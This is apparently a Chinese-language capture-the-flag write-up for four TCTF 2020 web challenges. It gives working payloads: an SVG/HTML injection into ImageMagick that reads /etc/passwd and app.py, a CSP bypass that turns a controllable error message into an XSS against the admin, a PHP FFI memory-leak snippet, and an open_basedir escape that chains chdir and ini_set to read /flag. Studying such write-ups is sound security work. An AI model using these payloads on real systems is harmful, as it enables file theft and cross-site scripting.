tctf2020

tctf2020

好难.jpg

Wechat Generator

这题在我们一堆人的群殴下才做出来

题目主要的http请求是:

image130

image216

1
2
http://pwnable.org:5000/image/VMyeGe/xxx
xxx是后缀,具体列表在:https://imagemagick.org/script/formats.php

第一部分 ImageMagick读取文件

测试share发现,无论我们输入的previewid时候存在,都会生成一个短链

image480

访问对应的png界面时: http://pwnable.org:5000//image/ZpVQfl/png

返回报错

1
{"error": "Convert exception: unable to open image `previews/testting': No such file or directory @ error/blob.c/OpenBlob/2874"}

根据报错猜测是ImageMagick 来转换成对应的后缀

fuzz后缀后发现:

1
http://pwnable.org:5000/image/FdrpgF/htm

image857

根据preview返回的数据,后端估计是先生成一个svg,再转化为其他的格式

我们再看看他们是如何传递并表示表情的

image1001

image1085

发现

image1173

修改[]里的值可以逃出引号的限制

1
[{"type":0,"message":"[../../image/mOFJpl/svg#\"></g></svg><script srsrcc=\"/image/kOmxqd/jpg?callback=aaa\"></script><svg><g><image xlink:href=\"]"}]

image1437

搜索ImageMagick convert ctf 发现,ImageMagick convert可以读取文件

构造:

1
2
3
4
5
------WebKitFormBoundaryHJ88AZN7
Content-Disposition: form-data; name="data"

[{"type":0,"message":"[\" href=\"text:/etc/passwd\" onerror=\"//]"}]
------WebKitFormBoundaryHJ88AZN7--

image1845

测试常见的文件后找到源文件:app.py

image1953

这里我们重点关注responseJSON和 secret这两个函数

第二部分 xss管理员

secret是让我们xss管理员,但是存在csp:

1
img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'

responseJSON可以让我们在json数据前加上xxx=,结合报错返回的数据是json格式,如果我们能控制报错信息,我们就能绕过csp

前文发现 ImageMagick 的那个接口(share)刚好可以控制报错信息

1
previewid=`test"},alert(1),{"2":"

image2409

接着就是让htm包含它:

1
[{"type":0,"message":"[../../image/mOFJpl/svg#\"></g></svg><link rel=\"stylesheet\" href=\"/static/css/bootstrap.min.css\"><script ssrcrc=\"/static/js/jquery-3.5.1.min.js\"></script><script ssrcrc=\"/static/js/bootstrap.min.js\"></script><script srsrcc=\"/image/kOmxqd/jpg?callback=aaa\"></script><svg><g><image xlink:href=\"]"}]

image2848

image2936

其他解法

一叶飘零大大的wp:

https://skysec.top/2020/06/27/2020-TCTF-Online-Web-WriteUp/#Wechat-Generator

easyphp

1
2
3
4
5
6
 <?php
if (isset($_GET['rh'])) {
eval($_GET['rh']);
} else {
show_source(__FILE__);
}

很简单的源代码,首先查看phpinfo:

image3265

open_basedir: /var/www/html 且该目录不可写,twitter上那个绕过open_basedir的方法就没用了

利用

1
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};

列目录:

1
bin dev etc flag.h flag.so home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var

看到flag.h+flag.so+ffi猜测是要用ffi来加载flag.h然后执行其中的方法,

测试后发现 ffi::load 无视open_basedir ,但是只能加载 /flag.h

当我们又不知道flag.h中的函数定义。。。。。。

后来这题是因为别人把题目打穿了,全场绕过open_basedir,读取了flag

noeasyphp

这题听说是因为出题人因为easyphp重出的题目

这里就要直面刚刚明明无法读取flag.h又要了解flag.h中的函数声明

因为这里有ffi,可以直接操作系统的底层,我们试试内存泄露

1
2
3
4
5
$c=FFI::load("/flag.h");
$b=FFI::cast("void *",FFI::new("int[1]",false));
$a=FFI::string($b-400000,400000);
var_dump($a);

image4044

image4128

好玩.jpg

Cloud Computing

1
<?php mkdir('/var/www/html/sandbox/362495b25219141379062025d7d6d775772e6b7d/test2');chdir('/var/www/html/sandbox/362495b25219141379062025d7d6d775772e6b7d/test2');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/flag'));